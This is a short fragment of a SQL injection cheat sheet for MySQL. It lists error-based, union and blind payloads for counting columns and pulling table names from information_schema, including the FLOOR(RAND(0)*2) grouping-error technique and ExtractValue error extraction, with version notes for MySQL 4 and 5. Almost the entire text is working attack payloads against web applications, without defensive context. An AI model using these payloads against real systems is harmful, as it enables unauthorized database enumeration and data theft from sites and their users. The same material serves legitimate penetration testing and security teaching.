Error Based
• AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
• Operand should contain 3 column(s)
Note:
• This works if you know the table name you're after and error showing
is enabled
• It will return the amount of columns in the table, not the query.
Retrieving Tables
• Union:
◦ UNION SELECT GROUP_CONCAT(table_name) FROM
information_schema.tables WHERE version=10;
• Blind:
◦ AND SELECT SUBSTR(table_name,1,1) FROM
information_schema.tables > 'A'
• Error:
◦ AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null
UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name
FROM information_schema.tables LIMIT
1),FLOOR(RAND(0)*2)))
◦ (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM
information_schema.tables LIMIT 1),!@) HAVING
@||MIN(@:=0);
◦ AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name
FROM information_schema.tables LIMIT 1)));-- Available
in 5.1.5
Note:
• version=9 for MySQL 4
• version=10 for MySQL 5